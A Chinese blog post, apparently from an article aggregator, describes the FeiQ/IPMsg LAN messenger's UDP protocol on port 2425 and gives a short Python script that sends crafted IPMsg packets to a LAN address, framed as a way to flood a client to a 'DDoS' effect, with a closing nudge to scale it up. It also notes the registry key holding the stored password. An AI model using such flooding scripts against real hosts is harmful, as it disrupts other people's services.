当前位置: 首页 > article >正文

基于python使用UDP协议对飞秋进行通讯—DDOS

基于飞秋的信息传输

声明:笔记的只是方便各位师傅学习知识,以下代码、网站只涉及学习内容,其他的都与本人无关,切莫逾越法律红线,否则后果自负。

老规矩,封面在文末!

飞秋介绍

(1)最关键的是局域网用户列表的建立;飞秋启动时使用UDP协议向255.255.255.255这个广播地址发送广播包,默认端口是2425。广播包内容包含用户名、工作组、主机名、IP等信息;

已启动飞秋的用户通过2425端口收到此广播包后,就会在自己的用户列表中添加这个用户的用户名、工作组等信息,同时向对方IP发送本机用户的个人信息;从而双方都能建立起用户列表;

(2)刷新用户列表时发送的广播包和启动时差不多,只不过返回的标识信息略有不同;可以做一个小工具,监控2425端口内存流,就能截获刷新和聊天时的消息。

(3)传送聊天信息时同样使用UDP协议;由于UDP协议是无连接协议,传输速度快,但是没有确认机制,是不可靠的协议,需要自己定义返回信息的标志来判断对方是否收到信息;

(4)用户离线时发送一个离线广播包到255.255.255.255,收到此广播包的用户,根据包中的IP地址(也可能是多种判断标志或者包含硬件标识,比如网卡地址等)删除对方的用户列表信息;

(5)广域网无法直接使用广播方式,靠手工添加”局域网外广播列表”来建立相互的关系;

(6)飞秋传送文件是使用TCP协议,端口2425;

(7)飞秋使用C++语言,开发工具:Visual C++ 4.1, 6.0, or later;

(8)飞秋公开源码,在作者(来自日本广岛的白水启章)和汉化者(阿志)网站下载源码,源码注释为日文;可以使用VC++修改、编译;

(9)飞秋传书是来自日本的软件,日文版是它的第一版本;此外还有中文,英文,韩文,葡萄牙文等语言;

(10)飞秋使用的加密算法:RSA、Blowfish、RC;

(11)飞秋可以使用命令行方式发送信息,命令格式如下:

ipmsg [端口] /MSG [/LOG][/SEAL] <主机名或IP地址> <消息>

可以使用IPMsg [端口] 命令改变默认端口,并同时启动多个实例,但是修改后只有使用相同端口的用户才能收到相互的信息;

(12)飞秋非安装版,并不是纯绿色软件,直接删除会在注册表留下垃圾键值;

  • 飞秋把所有设置信息都保存在注册表的以下位置:

用户密码以不可逆加密方式存储.

  • 如果你忘记了密码, 可以在注册表中将此键值删除,清除密码*\HKEY_CURRENT_USER\Software\HSTools\IPMsgEng\PasswordStr

(13)飞秋一次传送文件数达到几千个时,有丢失文件的可能,怀疑是飞秋的一个bug,而传输大文件则没有问题;

(14)飞秋最稳定的正式版本是V2.06;目前v2.50 alpha6 版正在测试,尚未正式发布;其他如2.71,2007绿色版为修改版本,并非正版;

(15)飞秋支持的字符太少,需要补充一下。

源码

import socket
import time

# ddos 损人不利己
for i in range(10):
    s = socket.socket(type=socket.SOCK_DGRAM)  # 以UDP协议通信
    s.connect(('192.168.141.1', 2425))

    packetId = str(time.time())
    name = "LEYINSEC"
    host = "MyHostName"
    command = str(0x00000020)
    content = "This is the message from python."
    message = "1.0:" + packetId + ":" + name + ":" + host + ":" + command + ":" + content

    s.send(message.encode())

源码解析

这段代码是一个简单的Python脚本,用于发送UDP数据包到指定的IP地址和端口。以下是对代码的详细分析:

导入模块

import socket
import time
  • socket模块:用于网络通信,创建和管理套接字。

  • time模块:用于获取当前时间戳。

循环发送数据包

for i in range(10):
  • 这个循环会执行10次,每次循环都会发送一个UDP数据包。

创建UDP套接字

s = socket.socket(type=socket.SOCK_DGRAM)  # 以UDP协议通信
  • socket.socket()函数用于创建一个新的套接字对象。

  • type=socket.SOCK_DGRAM参数指定使用UDP协议。

连接到目标地址

s.connect(('192.168.141.1', 2425))
  • connect()方法用于连接到指定的IP地址和端口。

  • 这里的目标是IP地址192.168.141.1和端口2425

构建消息内容

packetId = str(time.time())
name = "LEYINSEC"
host = "MyHostName"
command = str(0x00000020)
content = "This is the message from python."
message = "1.0:" + packetId + ":" + name + ":" + host + ":" + command + ":" + content
  • packetId:使用当前时间戳作为唯一标识符。

  • namehostcommandcontent:这些变量用于构建消息内容。

  • message:将所有部分用冒号分隔并拼接成一个字符串。

发送消息

s.send(message.encode())
  • send()方法用于发送数据。

  • message.encode()将字符串消息编码为字节流,因为send()方法需要字节类型的数据。

注意事项

  1. DDoS攻击:这段代码虽然简单,但如果在一个循环中不断发送大量数据包到同一个目标地址,可能会被视为DDoS(分布式拒绝服务)攻击。这种行为是不道德的,也可能违法。

  2. 资源消耗:频繁创建和关闭套接字会消耗系统资源,可能导致性能问题。

  3. 错误处理:代码中没有错误处理机制,如果连接失败或发送失败,程序会抛出异常并终止。

效果演示

可以看到,一直在给飞秋发信息,如果数据量较大的话,就可以达到DDOS的效果。网安人最重要的是什么,要学会举一反三。


http://www.kler.cn/a/449651.html

相关文章:

  • 如何评估一个股票API接口
  • 功能很强大的单点登录协议 SAML 2.0详解
  • STM32F407寄存器点灯
  • 机器学习基础算法 (一)-线性回归
  • OpenTK 中帧缓存的深度解析与应用实践
  • 2023年下半年软考信息安全工程师案例分析及答案解析
  • 从AI换脸到篡改图像,合合信息如何提升视觉内容安全?
  • 【深度学习】论文复现-对论文数据集的一些处理
  • 加密货币地址的基本概念
  • 4、mysql高阶语句
  • YOLOv11融合[ECCV2024]FADformer中的FFCM模块
  • ip地址和网络号关系是什么
  • linux ipmitool配置机器的BMC(服务器管理后台)
  • COMSOL with Matlab
  • 数据库知识全解析:从基础原理到应用实践
  • Android Jetpack DataBinding源码解析与实践
  • 梳理你的思路(从OOP到架构设计)_简介设计模式
  • 【首发1day详情】CVE-2024-51479 全网首发漏洞复现分析+POC (Next.js权限绕过)
  • uni-app开发完成app上传OPPO认定为马甲包如何处理?
  • 计算机网络压缩版
  • 【漏洞复现】CVE-2022-23544 SSRF
  • 机器学习实战32-利用机器学习对电商销售数据进行归因分析的方法,旨在找出销量下降的原因
  • macOS Sequoia 15.2 发布下载,带来 Apple 智能重大更新
  • MySQL实战之数据管理
  • pytorch中torch.nn.functional.normalize、nn.norm和LayerNorm计算中的区别
  • Java CPU飙升 排查